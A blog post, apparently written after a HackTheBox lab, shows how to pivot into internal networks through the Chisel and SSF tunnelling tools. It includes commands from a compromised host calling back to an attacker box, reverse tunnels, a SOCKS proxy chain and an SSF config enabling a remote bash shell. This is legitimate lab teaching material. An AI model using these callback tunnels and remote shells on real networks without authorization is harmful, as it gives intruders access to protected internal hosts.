Having just written up HTB Reddish, pivoting without SSH was at the top of my mind, and I’ve since learned of two programs that enable pivots, Chisel and Secure Socket Funneling (SSF). I learned about Chisel from Ippsec, and you can see his using it to solve Reddish in his video. I wanted to play with it, and figured I’d document what I learned here. I learned about SSF from another HTB user, jkr, who not only introduced me to SSF, but pulled together the examples in this post.

Chisel

Background

Chisel’s author describes it as:

Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Chisel is very similar to crowbar though achieves much higher performance.

What that means for me is that I can run a server on my kali box, and then connect to it from target boxes. On making that connection, I can define different kinds of tunnels I want to set up.

Prep

I’ll clone Chisel from its GitHub page:

root@kali:/opt# git clone https://github.com/jpillora/chisel.git
Cloning into 'chisel'...
remote: Enumerating objects: 33, done.
remote: Counting objects: 100% (33/33), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 1151 (delta 7), reused 18 (delta 5), pack-reused 1118
Receiving objects: 100% (1151/1151), 3.31 MiB | 19.03 MiB/s, done.
Resolving deltas: 100% (416/416), done.

Now, inside the chisel directory, I’ll run go build. It may download some additional bits, and when complete, I’ll have a chisel binary:

root@kali:/opt/chisel# ls -lh chisel 
-rwxr-xr-x 1 root root 10M Jan 27 06:47 chisel

Ippsec points out that this is 10MB, which is a large file to be moving to target in some environments. He shows how you can run go build -ldflags="-s -w" and reduce it to 7.5MB (where -s is “Omit all symbol information from the output file” or strip, and -w is “Omit the DWARF symbol table”). He also shows how to upx pack it down to 2.9MB if bandwidth is tight.

Server

First I’ll set up the server on my local box. The chisel binary I built acts as both the client and the server, and if I run ./chisel --help, I’ll see that:

root@kali:/opt/chisel# ./chisel --help

  Usage: chisel [command] [--help]

  Version: 0.0.0-src

  Commands:
    server - runs chisel in server mode
    client - runs chisel in client mode

  Read more:
    https://github.com/jpillora/chisel

So to start the server, I’ll run ./chisel server -p [port] --reverse. -p will allow me to specify what port chisel listens on. If I don’t proivde this, it’ll try 8080 by default, which often fails since I almost always have Burp running on 8080. --reverse tells the server that I want clients connecting in to be allowed to define reverse tunnels. This means clients connecting in can open listening ports on my kali box. That is what I want here, but be aware of what you’re allowed it to do.

There are other options I may want to add as well:

  • --host allows me to define which interface to listen on, with all of them (0.0.0.0) being the default.
  • --key allows me to generate a key pair used for the connection. This buys some security, but then again, the key will have to be sitting on the target box connecting back, so anyone who grabs it will be able to connect.
  • --authfile and --auth allow me to specifiy user names and password necessary to connect.
  • -v turns on verbose logging to the terminal.

Client

I’ll move a copy of chisel to target, and run it as ./chisel client [server ip]:[server port] [remote string] [optional more remote strings].

Running this will connect to the server given, and create a tunnel for each give remote string.

Remote strings take the format of <local-host>:<local-port>:<remote-host>:<remote-port> as defined by chisel. I think it’s more intuitive to think of it as <listen-host>:<listen-port>:<forward-host>:<forward-port>, but I’ll use the names chisel uses in this post.

Of the four items, only the remote port is required. If no local-host is given, it will assume 0.0.0.0 on the client. If no local-port is give, it will default to the same as the remote-port. If no remote-host is given, it will default to the server. You can give it R for local-host to indicate that you want to listen on the remote host (ie, open the listener on the server). In that case, the tunnel will go in the reverse direction.

Examples

Basic Client Listener

A silly example that illustrats listening on the client. I am on a target that can’t connect to the internet, but can route to my attacking machine. I’ll use chisel to cerate a tunnel to the site I want to download from as follows:

  • ./chisel server -p 8000 on my attacker box.
  • ./chisel client 1.1.1.1:8000 9001:www.exploit-db.com:443 on the compromised box. This will connect back to my box, and start a listener on the target box. Any traffic sent to that listening port will be tunneled to my box, and then routed to www.exploit-db.com.
  • I can then use wget or curl to connect to 127.0.0.1:9001 and get things from the site. Depending on how the site is configured, I may have to turn off certificate checking, and/or modify the headers (such as Host) to get it to connect.

Basic Server Listener

A more interesting example is one like I faced in Reddish. I exploited a webapp, and needed to pivot into the network behind it. Since I was in a container, only the webapp port (in this case 1880) was forwarded through to the container, so I couldn’t just listen on another port.

In this case, I’ll use a reverse tunnel to open a listening port on my Kali host that can now talk to hosts behind my initial compromised host:

  • ./chisel server -p 8000 --reverse on my local box.
  • ./chisel client 1.1.1.1:8000 R:80:3.3.3.4:80 on the target. This will open a listener on port 80 on my Kali box, and any connections to that port will be forwarded to the target, which will pass them to port 80 on 3.3.3.4.

Socks Proxy

Ippsec showed this at the end of his video, and it’s worth seeing. chisel only let’s the server act as a socks proxy. But, in the case of Reddish, I don’t have a way to connect directly to that server. I’ll use chisel to set up a tunnel so I can connect to another chisel in the opposite direction:

  • ./chisel server -p 8000 --reverse on local box, as usual.
  • ./chisel client 1.1.1.1:8000 R:8001:127.0.0.1:9001 on target box. Now anything I send to localhost:8001 on kali will forward to localhost:9001 on target.
  • ./chisel server -p 9001 --socks5 on target. Now I have a chisel server listening on 9001, in socks mode, and a way to get traffic to that port.
  • ./chisel client localhost:8001 socks on Kali box. This connection is forwarded through the first tunnel and connects to the chisel server running on the box. Now my local host is listening on port 1080 (default, can change that with arguments) and will send traffic to target, and then proxy it outbound.

Now I can use proxychains or FoxyProxy to interact with the network behind the target natually.

More Complex Examples

At this point, these tunnels can be used to create more complex setups. For example, to go even more layers deep into a network, I can set up listeners on the first hop that forward back to the chisel server on kali, and then create new chisel reverse tunnels from there.

SSF

Prep

SSF is using an SSL encrypted communication channel and therefore I will need certificates and keys. The easy way is to checkout the GitHub repository and use the included certs subdirectory. Also I will use the pre-compiled binaries provided and downloadable under Releases in GitHub.

The client directory will look like:

$ find .
.
./ssf
./certs
./certs/trusted
./certs/trusted/ca.crt
./certs/server.key
./certs/dh4096.pem
./certs/certificate.crt
./certs/private.key
./certs/server.crt

I’ll also demonstrate the shell option, which is not on by default. To do so, I will create following config.json in the same directory:

{
  "ssf": {
    "services": {
      "datagram_forwarder": { "enable": true },
      "datagram_listener": { "enable": true, "gateway_ports": false },
      "stream_forwarder": { "enable": true }, "stream_listener": { "enable": true, "gateway_ports": false },
      "copy": { "enable": false },
      "shell": { "enable": true, "path": "/bin/bash", "args": "" },
      "socks": { "enable": true }
    }
  }
}

The whole directory needs to be uploaded to target machine.

Server

On my Kali machine I’ll start the SSF daemon:

$ ./ssfd
[2019-01-23T21:05:23+01:00] [info] [config] [tls] CA cert path: <file: ./certs/trusted/ca.crt>
[2019-01-23T21:05:23+01:00] [info] [config] [tls] cert path: <file: ./certs/certificate.crt>
[2019-01-23T21:05:23+01:00] [info] [config] [tls] key path: <file: ./certs/private.key>
[2019-01-23T21:05:23+01:00] [info] [config] [tls] key password: <>
[2019-01-23T21:05:23+01:00] [info] [config] [tls] dh path: <file: ./certs/dh4096.pem>
[2019-01-23T21:05:23+01:00] [info] [config] [tls] cipher suite: <DHE-RSA-AES256-GCM-SHA384>
[2019-01-23T21:05:23+01:00] [info] [config] [http proxy] <None>
[2019-01-23T21:05:23+01:00] [info] [config] [socks proxy] <None>
[2019-01-23T21:05:23+01:00] [info] [config] [circuit] <None>
[2019-01-23T21:05:23+01:00] [info] [ssfd] listening on <*:8011>
[2019-01-23T21:05:23+01:00] [info] [ssfd] running (Ctrl + C to stop)

Now the server is running on port 8011, which is the default port. I can change the port with the -p [port] option.

Client

On target host I will start the client, telling it to connect back to my box. I’ll use the following options:

  • -g - allow gateway ports. This allows client to bind local sockets to address besides localhost.
  • -F 1080 - This runs a socks proxy on the server on port 1080.
  • -Y 1111 - This opens local port 1111 as a shell on the client.
  • -L 172.19.0.4:2222:10.10.14.3:2222 and -L 172.19.0.4:3333:10.10.14.3:3333 - These will open listeners on the target machine that will forwards back to my attacker box. This will come in handy when I want to exploit further machines that can’t talk to my attacker box directly.
# ./ssf -g -F 1080 -Y 1111 -L 172.19.0.4:2222:10.10.14.3:2222 -L 172.19.0.4:3333:10.10.14.3:3333 10.10.14.3
[2019-01-23T20:04:34+00:00] [info] [config] loading file <config.json>
[2019-01-23T20:04:34+00:00] [info] [config] [tls] CA cert path: <file: ./certs/trusted/ca.crt>
[2019-01-23T20:04:34+00:00] [info] [config] [tls] cert path: <file: ./certs/certificate.crt>
[2019-01-23T20:04:34+00:00] [info] [config] [tls] key path: <file: ./certs/private.key>
[2019-01-23T20:04:34+00:00] [info] [config] [tls] key password: <>
[2019-01-23T20:04:34+00:00] [info] [config] [tls] dh path: <file: ./certs/dh4096.pem>
[2019-01-23T20:04:34+00:00] [info] [config] [tls] cipher suite: <DHE-RSA-AES256-GCM-SHA384>
[2019-01-23T20:04:34+00:00] [info] [config] [http proxy] <None>
[2019-01-23T20:04:34+00:00] [info] [config] [socks proxy] <None>
[2019-01-23T20:04:34+00:00] [info] [config] [microservices][shell] path: </bin/bash>
[2019-01-23T20:04:34+00:00] [info] [config] [circuit] <None>
[2019-01-23T20:04:34+00:00] [info] [ssf] connecting to <10.10.14.3:8011>
[2019-01-23T20:04:34+00:00] [info] [ssf] running (Ctrl + C to stop)
[2019-01-23T20:04:34+00:00] [info] [client] connection attempt 1/1
[2019-01-23T20:04:34+00:00] [info] [client] connected to server
[2019-01-23T20:04:34+00:00] [info] [client] running
[2019-01-23T20:04:35+00:00] [info] [microservice] [shell]: start server on fiber port 1111
[2019-01-23T20:04:35+00:00] [info] [client] service <remote-shell> OK
[2019-01-23T20:04:35+00:00] [info] [microservice] [socks]: start server on fiber port 1080
[2019-01-23T20:04:35+00:00] [info] [client] service <remote-socks> OK
[2019-01-23T20:04:35+00:00] [info] [microservice] [stream_listener]: forward TCP connections from <172.19.0.4:2222> to 2222
[2019-01-23T20:04:35+00:00] [info] [client] service <tcp-forward> OK
[2019-01-23T20:04:35+00:00] [info] [microservice] [stream_listener]: forward TCP connections from <172.19.0.4:3333> to 3333
[2019-01-23T20:04:35+00:00] [info] [client] service <tcp-forward> OK

I now have following setup:

  • Listening socket on kali:1080 that is providing a SOCKS proxy to the network behind the target.
  • Listening socket on kali:1111 that is providing a shell to the target.
  • Tunnels from target box back to local sockets for future shells or file uploads.

Summary

Both Chisel and SSF are neat frameworks that I can use to enable pivoting when ssh and forward connections in-bound aren’t independently possible. These are both tools I’ll keep in my tool box moving forward.

Thanks to jkr for putting together much of the notes and documentation for the SSF section.